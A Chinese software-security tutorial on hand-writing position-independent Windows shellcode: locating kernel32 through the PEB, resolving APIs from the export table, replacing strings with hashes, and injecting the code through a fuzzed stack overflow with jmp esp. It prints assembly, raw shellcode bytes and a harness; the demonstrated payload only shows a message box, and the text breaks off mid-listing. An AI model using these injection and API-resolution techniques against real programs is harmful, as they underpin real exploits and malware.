软件安全(二)优化shellcode

news2025/7/13 23:33:16

我们在上一节课中所写的shellcode,其中使用到的相关的API是通过写入其内存地址来实现调用。这种方法具有局限性,如切换其他的操作系统API的内存地址就会发生变化,从而无法正常调用。

所谓的shellcode不过是在目标程序中加一个区段使得程序可以执行我们自己的代码。但在这个实现的过程中,存在一个问题:我们无法知晓目标程序中是否包含我们自己的代码中所使用的一些函数的相关库。如果没有相关库的话,也就无法在我们的代码中使用相关函数。为保险起见,我们需要自己加载相关的动态链接库。但由于我们并不清楚目标程序中包含了哪些头文件,因此也无法使用LoadLibrary加载动态链接库。因此我们便需要动态寻找函数地址,从而实现加载动态链接库,进而实现我们自己的代码书写

为了解决这个问题,我们需要学习如何动态寻找函数地址

常见的dll

我们日常中常常使用到的dll文件有以下三种:

1.Kernel32.dll:封装了所有进程内存管理相关的API。

2.user32.dll:窗口程序专用,封装了所有跟窗口操作相关的API

3.ntdll.dll:ring0的大门,无论是kernel32.dll还是user32.dll中的API最终都会去调用ntdll.dll中的API

其中动态调用API需要使用Kernel32.dll

TEB

TEB:线程环境块,实际上就是一个保存了线程中的各种信息的结构体。

typedef struct _TEB 
{
	PVOID Reserved1[12];
	PPEB  ProcessEnvironmentBlock;
	PVOID Reserved2[399];
	BYTE  Reserved3[1952];
	PVOID TlsSlots[64];
	BYTE  Reserved4[8];
	PVOID Reserved5[26];
	PVOID ReservedForOle;
	PVOID Reserved6[4];
	PVOID TlsExpansionSlots;
} TEB, * PTEB;

我们从直观上看这个结构体,并不能获取什么有用的信息。但当我们从字节单位上看,可以看出来该结构体有这么两个重要的成员,它们分别指向了一个结构体:

typedef struct _TEB 
{
	+0x00 :_NT_TIB  NtTib;//线程信息块
	+0x30:_PEB* PPEB;
} TEB, * PTEB;

首先我们了解_NT_TIB结构体:  

typedef struct _NT_TIB 
{
    struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;//用于操作系统的windows的异常处理机制,大量用于反调试程序
    PVOID StackBase;
    PVOID StackLimit;
    PVOID SubSystemTib;
    union {
        PVOID FiberData;
        DWORD Version;
    };
    PVOID ArbitraryUserPointer;
    struct _NT_TIB *Self;//该指针指向了自己本身
} NT_TIB;

PEB的查找

通过NtCurrentTeb()我们可以获取TEB的指针

现在我们开始观察NtCurrentTeb的内部实现,如下图所示:

通过观察可以发现FS寄存器中存放的就是TEB结构体的首地址,由此得出FS:[0X30]==PEB的指针,这样我们也就可以通过TEB获取PEB了

PEB

从TEB中,我们发现了一个指向PEB结构体的指针,而PEB叫做进程环境块,其存放了进程相关信息。我们本节课要学习的动态调用API所需要的相关信息就存放在PEB中

接下来我们只介绍PEB中有用的成员:

struct _PEB 
{
	+0x00c :_PEB_LDR_DATA*  Ldr;//当dll文件加载后会Ldr会存放模块相关信息。
} 

其中 _PEB_LDR_DATA结构体有用的成员如下:

 struct _PEB_LDR_DATA 
{
	+0x000 :Uint  length;
	+0x004 :Uchar  initialized;
    +0x008 :LVOID SsHandle;
    +0x00c :_LIST_ENTRY InloadOrderMoudleList;//载入顺序排序的dll
    +0x014 :_LIST_ENTRY InMemoryOrderMoudleList;//内存排序的dll
    +0x01c :_LIST_ENTRY InitalizationOrderMoudleList;//初始化排序的dll。其中排序通常为ntdll,kernel32.dll或者kernerbase.dll 
    //三个_LIST_ENTRY中所有的dll都一样,只是排列顺序不同
} 

其中_LIST_ENTRY结构体如下:

struct _LIST_ENTRY 
{
	_LIST_ENTRY *Flink;//下一个结构体指针
    _LIST_ENTRY *Blink;//上一个机构体指针
} 

通过_LIST_ENTRY双向链表可以遍历所有模块。_PEB_LDR_DATA结构体中InloadOrderMoudleList和InMemoryOrderMoudleList会因为各种情况导致排序顺序发生变化,而第InitalizationOrderMoudleList的排列顺序则不会发生变化。因此我们动态寻找函数地址时使用的是InitalizationOrderMoudleList,其指向了第一个dll

值得注意的是,_LIST_ENTRY是一个结构体,但它是一个被包含在_LDR_DATA_TABLE_ENTRY结构体中的结构体。这个_LDR_DATA_TABLE_ENTRY结构体存储了对应模块的相关信息。因此我们通过_LIST_ENTRY便可以找到了_LDR_DATA_TABLE_ENTRY结构体,自然也就找到了要寻找的模块的信息了

_LDR_DATA_TABLE_ENTRY结构体如下,其中我们利用InitalizationOrderMoudleList正是该结构体的第三个成员

typedef struct _LDR_DATA_TABLE_ENTRY
{
	LIST_ENTRY InLoadOrderMoudleList;
	LIST_ENTRY InMemoryOrderMoudleList;
	LIST_ENTRY InInitializationOrderMoudleList;
    PVOID DllBase;//模块基址,从而可以找到导出表,如kernel32.dll中的LoadLibraryA和GetProcAdrress
    PVOID EntryPoint;
    PVOID SizeOfImage;
    PVOID FullDllName;
    .....
}

通过该结构体,我们便可以找到相应模块的信息了

汇编查找kernel32

//FS存储着TEB的起始地址
mov esi,FS:[0x30]//PEB地址
mov esi,[esi+0xc]//Ldr地址
mov esi,[esi+0x1c]//指向第一个InitalizationOrderMoudleList
mov esi,[esi]//指向第二个dll,即kernel32.dll文件信息。通过该dll文件,我们可以实现动态查找函数地址的功能

当我们找到kernel32模块后,就可以通过其导入表找到LoadLibraryA和GetProcAdrress函数从而调用任意API

优化shellcode

接下来我们将优化上一篇shellcode的实现,具体有以下几个步骤:

1.保存相关字符串,如:user32.dll、LoadLibraryA、GetProcAddress、MessageBoxA、hello world

2.通过fs寄存器获取kernel32.dll基址

Mov esi,fs:[0x30]//获取PEB
Mov esi,[esi+0xc]//获取LDR结构体地址
Mov esi,[esi+0x1c]//InInitializationOrderMoudleList
Mov esi,[esi]//InInitializationOrderMoudleList第二项,即kernel32.dll
Mov ecx,[esi,+0x8]//获取kernel32.dll基址

3.获取导出表,根据导出表查找需要的函数

MyGetProcAddress(imageBase,funName,strlen)

ImageBase + 0x3C = NT

NT头 + 0x78 = dataDirectory第一项,即导出表数据目录

导出函数地址表 = 导出表 + 0x1c

导出函数名称表 = 导出表 + 0X20

导出函数序号表 = 导出表 + 0x24

获取三张表以后,funName同导出函数名称表内容进行比较,获取比对成功的索引值。之后通过索引值获取导出函数序号表对应的序号,即导出函数地址表中对应的索引。之后根据索引值获取导出函数地址表中函数地址

4、字符串比较函数

由于我们并不清楚目标进程是否存在strcmp(),因此我们需要自己实现该API

strcmp是通过逐字节比对从而实现字符串比较功能,因此当我们汇编实现stcmp时,也需要使用循环指令

实现该API的关键在于Repe cmpsb指令。该指令通过按字节进行比较的方式比较edi与esi存储的地址上的值,之后通过DF标志位的值决定edi和esi地址的更新,然后exc - 1。当ecx为0或者esi和edi比较结果不相同时,停止DF循环,然后设置ZF标志位

现在我们简单的实现strcmp的功能:

_asm
{
	//比较字符串获取API
	xor eax, eax; //用于循环计数
	cld;;//将strcmp所用的DF标志位置零
	jmp tag_begincmp;
	tag_cmpLoop:
		inc eax;//循环计数加一
	tag_begincmp:
		mov esi, [ebp - 0x8];//导出函数名称表VA
		mov esi, [esi + eax * 4];//第一个名称RVA
		mov edx, [ebp + 0x8]; //函数名称字符串VA
		lea esi, [edx + esi]; // 要查找的目标函数名称
		mov edi, [ebp + 0xc];//循环次数
		mov ecx, [ebp + 0x10];//字符串长度
		repe cmpsb;
		jne tag_cmpLoop;
		//如果相等的话,eax是数组索引
		mov esi, [ebp - 0xc];//导出函数序号表VA
		xor edi, edi;//将edi高位清零
		mov di, [esi + eax * 2];//导出函数序号表索引
		mov ebx, [ebp - 0x4];//导出函数地址表VA
		mov ebx, [ebx + edi * 4]; ];//获取目标函数RVA
		mov edx, [ebp + 0x8];//保存dll基址
		lea eax, [edx + ebx];//获取目标函数VA
}

5、payload函数:通过调用以上各个功能实现输出hello51hook

保存字符串

通过010editor我们可以获取字符串的十六进制数据,如下所示:

__asm
{
	//user32.dll:75 73 65 72 33 32 2E 64      6C 6C 00 
	//LoadLibraryA:4C 6F 61 64 4C 69 62 72 61 72 79 41       00
	//GetProcAddress:47 65 74 50 72 6F 63 41 64 64 72 65     73 73 00
	//MessageBoxA:4D 65 73 73 61 67 65 42 6F 78 41 00
	//hello world:68 65 6C 6C 6F 20 77 6F 72 6C 64 00
	//保存字符串
	pushad;
	sub esp, 0x2F;//提升栈空间
	push 0x646C72;
	push 0x6F77206F;
	push 0x6c6c6568;
	push 0x41786f;
	push 0x42656761;
	push 0x7373654d;
	mov byte ptr ds : [esp - 1] , 0x0;
	sub esp, 0x1;
	mov ax, 0x6c6c;
	mov word ptr ds : [esp - 2] , ax;
	sub esp, 0x2;
	push 0x642e3233;
	push 0x72657375;
	mov byte ptr ds : [esp - 1] , 0x0;
	sub esp, 0x1;
	mov ax, 0x7373;
	mov word ptr ds : [esp - 2] , ax;
	sub esp, 0x2;
	push 0x65726464;
	push 0x41636f72;
	push 0x50746547;
	mov byte ptr ds : [esp - 1] , 0x0;
	sub esp, 0x1;
	push 0x41797261;
	push 0x7262694c;
	push 0x64616f4c;
	mov ecx, esp;
	push ecx;
	call fun_payload;
}

获取kernel32.dll基址

__asm
{	
    //获取kernel32.dll基址
    fun_getmodule:;
	    push ebp;
	    mov ebp, esp;
	    sub esp, 0xc;
	    push ecx;
	    mov esi, dword ptr fs : [0x30] ;//PEB指针
	    mov esi, [esi + 0xc];//LDR结构体地址
	    mov esi, [esi + 0x1c];//InInitializationOrderMoudleList
	    mov esi, [esi];//InInitializationOrderMoudleList的第二项,即kernel32
	    mov eax, [esi + 0x8];//kernel32基址
	    pop ecx;
	    mov esp, ebp;
	    pop ebp;
	    retn;
}

获取函数地址

__asm
{
	//获取函数地址
	fun_getProcAddr:
		push ebp;
		mov ebp, esp;
		sub esp, 0x10;
		push ecx;
		push edx;
		push esi;
		push edi;

		//获取导出表
		mov edx, [ebp + 0x8];//参数dllbase
		mov esi, [edx + 0x3c];//elf_anew
		lea esi, [edx + esi];//NT头
		mov esi, [esi + 0x78];//导出表RVA
		lea esi, [edx + esi];// 导出表VA
		mov edi, [esi + 0x1c];//导出函数地址表RVA
		lea edi, [edx + edi];//导出函数地址表VA
		mov[ebp - 0x4], edi;
		mov edi, [esi + 0x20];//导出函数名称表VA
		lea edi, [edx + edi];//导出函数序号表RVA
		mov[ebp - 0x8], edi;
		mov edi, [esi + 0x24];//导出函数序号表RVA
		lea edi, [edx + edi];//导出函数序号表VA
		mov[ebp - 0xc], edi;
		//比较字符串获取API
		xor eax, eax; //用于循环计数
		cld;;//将strcmp所用的DF标志位置零
		jmp tag_begincmp;
	tag_cmpLoop:
		inc eax;//循环计数加一
	tag_begincmp:
		mov esi, [ebp - 0x8];//导出函数名称表VA
		mov esi, [esi + eax * 4];//第一个名称RVA
		mov edx, [ebp + 0x8]; //函数名称字符串VA
		lea esi, [edx + esi]; // 要查找的目标函数名称
		mov edi, [ebp + 0xc];//循环次数
		mov ecx, [ebp + 0x10];//字符串长度
		repe cmpsb;
		jne tag_cmpLoop;
		//如果相等的话,eax是数组索引
		mov esi, [ebp - 0xc];//导出函数序号表VA
		xor edi, edi;//将edi高位清零
		mov di, [esi + eax * 2];//导出函数序号表索引
		mov ebx, [ebp - 0x4];//导出函数地址表VA
		mov ebx, [ebx + edi * 4]; ];//获取目标函数RVA
		mov edx, [ebp + 0x8];//保存dll基址
		lea eax, [edx + ebx];//获取目标函数VA
		pop edi;
		pop esi;
		pop edx;
		pop ecx;
		mov esp, ebp;
		pop ebp;
		retn 0x10;
}

调用函数

__asm
{
	fun_payload:
		push ebp;
		mov ebp, esp;
		sub esp, 0x20;
		push ecx;
		push edx;
		push esi;
		push edi;
		call fun_getmodule;
		mov[ebp - 0x4], eax;//DLLBASE

		//获取LoadLiabraryA
		push 0xD;
		mov ecx, [ebp + 0x8];//第一个参数
		push ecx;
		push eax;
		call fun_getProcAddr;
		mov[ebp - 0x8], eax;//LoadLibraryA

		//获取GetProcessAddr
		push 0xF;
		mov ecx, [ebp + 0x8];//第一个参数
		lea ecx, [ecx + 0xd];
		push ecx;//字符串首地址
		mov edx, [ebp - 0x4];
		push edx;//dllbase
		call fun_getProcAddr;
		mov[ebp - 0xc], eax;//保存GetProcessAddr

		//调用LoadLibraryA加载user32.dll
		mov ecx, [ebp + 0x8];//第一个参数
		lea ecx, [ecx + 0x1c];//user32.dll字符串地址
		push ecx;
		call[ebp - 0x8];//调用LoadLibraryA获取user32.dll
		mov[ebp - 0x10], eax;//user32.dllbase

		//调用GetProcAddress,获取MessageBoxA地址
		mov ecx, [ebp + 0x8];
		lea ecx, [ecx + 0x27];
		push ecx;
		push[ebp - 0x10];
		call[ebp - 0xc];//call GetProcessAddr

		//输出hello world
		push 0;
		push 0;
		mov ebx, [ebp + 0x8];
		lea ebx, [ebx + 0x33];
		push ebx;
		push 0;
		call eax;
		pop edi;
		pop esi;
		pop edx;
		pop ecx;
		mov esp, ebp;
		pop ebp;
		retn 0x4;
}

代码汇总

#include<windows.h>
#include<iostream>
void _declspec(naked)shellCode()
{

	__asm
	{
		//user32.dll:75 73 65 72 33 32 2E 64      6C 6C 00 
		//LoadLibraryA:4C 6F 61 64 4C 69 62 72 61 72 79 41       00
		//GetProcAddress:47 65 74 50 72 6F 63 41 64 64 72 65     73 73 00
		//MessageBoxA:4D 65 73 73 61 67 65 42 6F 78 41 00
		//hello world:68 65 6C 6C 6F 20 77 6F 72 6C 64 00
		//保存字符串
		pushad;
		sub esp, 0x2F;//提升栈空间
		push 0x646C72;
		push 0x6F77206F;
		push 0x6c6c6568;
		push 0x41786f;
		push 0x42656761;
		push 0x7373654d;
		mov byte ptr ds : [esp - 1] , 0x0;
		sub esp, 0x1;
		mov ax, 0x6c6c;
		mov word ptr ds : [esp - 2] , ax;
		sub esp, 0x2;
		push 0x642e3233;
		push 0x72657375;
		mov byte ptr ds : [esp - 1] , 0x0;
		sub esp, 0x1;
		mov ax, 0x7373;
		mov word ptr ds : [esp - 2] , ax;
		sub esp, 0x2;
		push 0x65726464;
		push 0x41636f72;
		push 0x50746547;
		mov byte ptr ds : [esp - 1] , 0x0;
		sub esp, 0x1;
		push 0x41797261;
		push 0x7262694c;
		push 0x64616f4c;
		mov ecx, esp;
		push ecx;
		call fun_payload;

		//获取kernel32.dll基址
	fun_getmodule:;
		push ebp;
		mov ebp, esp;
		sub esp, 0xc;
		push ecx;
		mov esi, dword ptr fs : [0x30] ;//PEB指针
		mov esi, [esi + 0xc];//LDR结构体地址
		mov esi, [esi + 0x1c];//InInitializationOrderMoudleList
		mov esi, [esi];//InInitializationOrderMoudleList的第二项,即kernel32
		mov eax, [esi + 0x8];//kernel32基址
		pop ecx;
		mov esp, ebp;
		pop ebp;
		retn;

		//获取函数地址
	fun_getProcAddr:
		push ebp;
		mov ebp, esp;
		sub esp, 0x10;
		push ecx;
		push edx;
		push esi;
		push edi;

		//获取导出表
		mov edx, [ebp + 0x8];//参数dllbase
		mov esi, [edx + 0x3c];//elf_anew
		lea esi, [edx + esi];//NT头
		mov esi, [esi + 0x78];//导出表RVA
		lea esi, [edx + esi];// 导出表VA
		mov edi, [esi + 0x1c];//导出函数地址表RVA
		lea edi, [edx + edi];//导出函数地址表VA
		mov[ebp - 0x4], edi;
		mov edi, [esi + 0x20];//导出函数名称表VA
		lea edi, [edx + edi];//导出函数序号表RVA
		mov[ebp - 0x8], edi;
		mov edi, [esi + 0x24];//导出函数序号表RVA
		lea edi, [edx + edi];//导出函数序号表VA
		mov[ebp - 0xc], edi;
		//比较字符串获取API
		xor eax, eax; //用于循环计数
		cld;;//将strcmp所用的DF标志位置零
		jmp tag_begincmp;
	tag_cmpLoop:
		inc eax;//循环计数加一
	tag_begincmp:
		mov esi, [ebp - 0x8];//导出函数名称表VA
		mov esi, [esi + eax * 4];//第一个名称RVA
		mov edx, [ebp + 0x8]; //函数名称字符串VA
		lea esi, [edx + esi]; // 要查找的目标函数名称
		mov edi, [ebp + 0xc];//循环次数
		mov ecx, [ebp + 0x10];//字符串长度
		repe cmpsb;
		jne tag_cmpLoop;
		//如果相等的话,eax是数组索引
		mov esi, [ebp - 0xc];//导出函数序号表VA
		xor edi, edi;//将edi高位清零
		mov di, [esi + eax * 2];//导出函数序号表索引
		mov ebx, [ebp - 0x4];//导出函数地址表VA
		mov ebx, [ebx + edi * 4]; ];//获取目标函数RVA
		mov edx, [ebp + 0x8];//保存dll基址
		lea eax, [edx + ebx];//获取目标函数VA
		pop edi;
		pop esi;
		pop edx;
		pop ecx;
		mov esp, ebp;
		pop ebp;
		retn 0x10;

	fun_payload:
		push ebp;
		mov ebp, esp;
		sub esp, 0x20;
		push ecx;
		push edx;
		push esi;
		push edi;
		call fun_getmodule;
		mov[ebp - 0x4], eax;//DLLBASE

		//获取LoadLiabraryA
		push 0xD;
		mov ecx, [ebp + 0x8];//第一个参数
		push ecx;
		push eax;
		call fun_getProcAddr;
		mov[ebp - 0x8], eax;//LoadLibraryA

		//获取GetProcessAddr
		push 0xF;
		mov ecx, [ebp + 0x8];//第一个参数
		lea ecx, [ecx + 0xd];
		push ecx;//字符串首地址
		mov edx, [ebp - 0x4];
		push edx;//dllbase
		call fun_getProcAddr;
		mov[ebp - 0xc], eax;//保存GetProcessAddr

		//调用LoadLibraryA加载user32.dll
		mov ecx, [ebp + 0x8];//第一个参数
		lea ecx, [ecx + 0x1c];//user32.dll字符串地址
		push ecx;
		call[ebp - 0x8];//调用LoadLibraryA获取user32.dll
		mov[ebp - 0x10], eax;//user32.dllbase

		//调用GetProcAddress,获取MessageBoxA地址
		mov ecx, [ebp + 0x8];
		lea ecx, [ecx + 0x27];
		push ecx;
		push[ebp - 0x10];
		call[ebp - 0xc];//call GetProcessAddr

		//输出hello world
		push 0;
		push 0;
		mov ebx, [ebp + 0x8];
		lea ebx, [ebx + 0x33];
		push ebx;
		push 0;
		call eax;
		pop edi;
		pop esi;
		pop edx;
		pop ecx;
		mov esp, ebp;
		pop ebp;
		retn 0x4;
	}
}
int main()
{
	shellCode();
	return 0;
}

调试shellcode

将上述汇编代码利用x32dbg可以获取其硬编码,如下所示:

"\x60\x83\xEC\x30\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x68\x6F\x6F\x6B\x68\x6F\x20\x35\x31\x68\x68\x65\x6C\x6C\x68\x6F\x78\x41\x00\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x6C\x6C\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x73\x73\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x64\x64\x72\x65\x68\x72\x6F\x63\x41\x68\x47\x65\x74\x50\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x8B\xCC\x51\xE8\x8E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x76\x08\x8B\xC6\x5E\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xFC\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8D\x34\x32\x8B\x7D\x0C\x8B\x4D\x10\xF3\xA6\x75\xEC\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x0C\x00\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\xE8\x62\xFF\xFF\xFF\x89\x45\xFC\x6A\x0D\x8B\x4D\x08\x51\x50\xE8\x73\xFF\xFF\xFF\x89\x45\xF8\x6A\x0F\x8D\x49\x0D\x51\xFF\x75\xFC\xE8\x62\xFF\xFF\xFF\x89\x45\xF4\x8B\x4D\x08\x8D\x49\x1C\x51\xFF\x55\xF8\x89\x45\xF0\x8B\x4D\x08\x8D\x49\x27\x51\xFF\x75\xF0\xFF\x55\xF4\x89\x45\xEC\x6A\x00\x6A\x00\x8B\x4D\x08\x8D\x49\x33\x51\x6A\x00\xFF\x55\xEC\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x04\x00"

当我们写完shellcode以后,通常需要调试shellcode以判断书写是否正确

调试方法如下:

一.修改项目属性:

二.书写调试代码:

#include<windows.h>
#include<stdio.h>

char shellcode[] = "\x60\x83\xEC\x30\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x68\x6F\x6F\x6B\x68\x6F\x20\x35\x31\x68\x68\x65\x6C\x6C\x68\x6F\x78\x41\x00\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x6C\x6C\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x73\x73\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x64\x64\x72\x65\x68\x72\x6F\x63\x41\x68\x47\x65\x74\x50\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x8B\xCC\x51\xE8\x8E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x76\x08\x8B\xC6\x5E\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xFC\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8D\x34\x32\x8B\x7D\x0C\x8B\x4D\x10\xF3\xA6\x75\xEC\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x0C\x00\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\xE8\x62\xFF\xFF\xFF\x89\x45\xFC\x6A\x0D\x8B\x4D\x08\x51\x50\xE8\x73\xFF\xFF\xFF\x89\x45\xF8\x6A\x0F\x8D\x49\x0D\x51\xFF\x75\xFC\xE8\x62\xFF\xFF\xFF\x89\x45\xF4\x8B\x4D\x08\x8D\x49\x1C\x51\xFF\x55\xF8\x89\x45\xF0\x8B\x4D\x08\x8D\x49\x27\x51\xFF\x75\xF0\xFF\x55\xF4\x89\x45\xEC\x6A\x00\x6A\x00\x8B\x4D\x08\x8D\x49\x33\x51\x6A\x00\xFF\x55\xEC\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x04\x00";

int main()
{
	__asm
	{
		lea eax, shellcode;
		push eax;
		retn;
	}
	return 0;
}

三.利用x32dbg调试即可

模糊测试

当我们编写并调试完毕shellcode时,便需要寻找程序的漏洞所在处,将shellcode插入进去了。

以我们学习的栈溢出漏洞为例,通常一个程序的栈空间是很大的,因此我们并不容易定位到栈溢出点。为了方便定位到栈溢出点,我们通常需要使用模糊测试

现在我们以上一节课的栈溢出漏洞的程序进行演示:

1.为了寻找栈溢出点,我们可以在password.txt中写入一堆的1:

然后运行程序,很显然程序会因为栈溢出而崩掉

2.通过Windows自带的计算机管理,我们可以找到该程序错误点,如下图所示

可以发现,Windows为我们提供了错误的详细信息:通过错误偏移量我们可以发现在内存中错误发生处的十六进制数据,正是我们所写的password.txt中的一堆1。

但是password.txt中都是1,我们很难去辨别到底栈溢出点是在哪,因此我们需要针对的去进行修改这些1,通常的方法是写一堆有规律的数据,如下所示:

我们将password.txt进行修改,然后运行程序使其再次崩坏,然后依上文的方式再次寻找错误发生点,如下图所示:

我们通过错误偏移量便可找到栈溢出的点,由于内存小端序,所以实际的错误偏移量为0x45344535。

通过010editor,可以发现溢出点所在处,如下图所示:password.txt中E4E5数据处

如图可知,password.txt中E4E5数据处正是栈溢出的位置,即淹没函数返回地址的位置。我们现在只需在栈溢出点处修改数据为我们的shellcode地址即可。

修改方法同上一节方法一致,通过jmp esp指令跳转到shellcode执行处即可,此处不再赘述

最终的shellcode如下所示:

至此我们便通过模糊测试实现了shellcode的插入了

再次运行程序,正常弹窗:

shellcode瘦身

我们在上文所写的shellcode,仅仅只用了几个API的字符串就产生了那么多的数据,这会造成栈空间的巨大浪费。在很多攻击环境下,对于我们的shellcode的大小是有严格限制的,因此我们需要学习如何去将shellcode瘦身以减少栈空间的浪费。

在上文的shellcode中,我们实现一个hello world的弹窗使用了以下字符串:LoadLibraryA,GetProcAddress,MessageBoxA,user32.dll,Hello world。无论字符串长度是多大,当我们通过对字符串进行加密或编码时,其长度最终只会是四个字节。而这四个字节,称之为哈希值。每个字符串的哈希值都不一样,而且该值也没有0的出现,避免字符串截断

如下所示便是我们编码字符串的一种算法,Hash算法:

DWORD getHashCode(char *strname)
{
	DWORD digest = 0;
	while (*strname)
	{
		digest = (digest<<25 | digest>>7);
		digest = digest + *strname;
		strname++;
	}
	return digest;   
}

通过该算法,我么可以将字符串缩减为四字节大小 

接下来我们针对该算法实现汇编代码

汇编代码实现

__asm
{

	push ebp;
	mov ebp, esp;
	sub esp, 0X4;//用于存放digest
	push ecx;
	push edx;
	push ebx;
	mov dword ptr[ebp - 0x4], 0;//初始化digest
	mov esi, [ebp + 0x8];//保存函数参数strname
	xor ecx, ecx;
tag_hashLoop:
	xor eax, eax;//初始化循环次数
	mov al, [esi + ecx];
	test al, al;//判断循环条件
	jz tag_end;
	mov ebx, [ebp - 0x4];//保存digest
	shl ebx, 0x19;//digest << 25
	mov edx, [ebp - 0x4];//保存digest
	shr edx, 0x7;//digest >> 7
	or ebx, edx;//digest << 25 | digest >> 7
	add ebx, eax;//digest = digest + *strname;
	mov[ebp - 0x4], ebx;//保存digest
	inc ecx;//strname++;			
	jmp tag_hashLoop;
tag_end:
	mov eax, [ebp - 0x4];//保存返回值
	pop ebx;
	pop edx;
	pop ecx;
	mov esp, ebp;
	pop ebp;
	retn 0x4;//跳过函数参数,平衡堆栈
}

当我们实现完编码函数以后,就可以通过函数获取每个字符串对应的四字节数据,进而取代字符串。在后续导出表比对API时,只需要将相关的API进行编码运算,然后在比对四字节数据就可以找到对应的API了。这样虽然会使目标程序的运行时间变长,但shellcode的长度会变短很多

shellcode成品

接下来我们将字符串编码的汇编代码插入我们的shellcode中

#include<windows.h>
#include<iostream>
void _declspec(naked)shellCode()
{

	__asm
	{
		//user32.dll 75 73 65 72 33 32 2E 64   6C 6C 00             长度:0xB
		//hello 51hook 68 65 6C 6C 6F 20 35 31 68 6F 6F 6B   00     长度:0xD
		// kernel32.dll 6B 65 72 6E  65 6C 33 32  2E 64 6C 6C 00
		//ExitProcess哈希值:0x4FD18963
		// LoadLibraryA哈希值:0XC917432
		//GetProcAddress哈希值:0XBBAFDF85
		// MessageBoxA哈希值:0x1E380A6A

		//1.保存字符串信息
		pushad
		sub esp, 0x30

		//kenerl32.dll
		mov byte ptr ds : [esp - 1] , 0x0
		sub esp, 0x1
		push 0x6C6C642E
		push 0x32336C65
		push 0x6E72656B

		//hello 51hook 字符串
		mov byte ptr ds : [esp - 1] , 0x0
		sub esp, 0x1
		push 0x6B6F6F68
		push 0x3135206F
		push 0x6c6c6568

		//user32.dll 字符串
		mov byte ptr ds : [esp - 1] , 0x0
		sub esp, 0x1
		mov ax, 0x6c6c
		mov word ptr ds : [esp - 2] , ax
		sub esp, 0x2
		push 0x642e3233
		push 0x72657375

		mov ecx, esp
		push ecx
		call fun_payload


		//popad
		//2.获取模块基址
		fun_GetModule:
			push ebp
			mov ebp, esp
			sub esp, 0xc
			push esi
			mov esi, dword ptr fs : [0x30]//PEB指针
			mov esi, [esi + 0xc]//LDR结构体地址
			mov esi, [esi + 0x1c]//list
			mov esi, [esi]//list的第二项 kernel32
			mov esi, [esi + 0x8]//dllbase
			mov eax, esi
			pop esi
			mov esp, ebp
			pop ebp
			retn

			//查找API函数:
		fun_GetProcAddr :
			push ebp
			mov ebp, esp
			sub esp, 0x20
			push esi
			push edi
			push edx
			push ebx
			push ecx

			mov edx, [ebp + 0X8]//dllbase
			mov esi, [edx + 0x3c]//lf_anew
			lea esi, [edx + esi]//Nt头
			mov esi, [esi + 0x78]//导出表RVA
			lea esi, [edx + esi]//导出表VA
			mov edi, [esi + 0x1c]//EAT RVA
			lea edi, [edx + edi]//EAT VA
			mov[ebp - 0x4], edi//eatva
			mov edi, [esi + 0x20]//ENT RVA
			lea edi, [edx + edi]//ENT va
			mov[ebp - 0x8], edi//ENTVA
			mov edi, [esi + 0x24]//EOT RVA
			lea edi, [edx + edi]//
			mov[ebp - 0xc], edi//EOTVA
			//比较字符串获取API
			xor eax, eax
			xor ebx, ebx
			cld
			jmp tag_cmpfirst
		tag_cmpLoop :
			inc ebx
		tag_cmpfirst :
			mov esi, [ebp - 0x8]//ENT
			mov esi, [esi + ebx * 4]//RVA
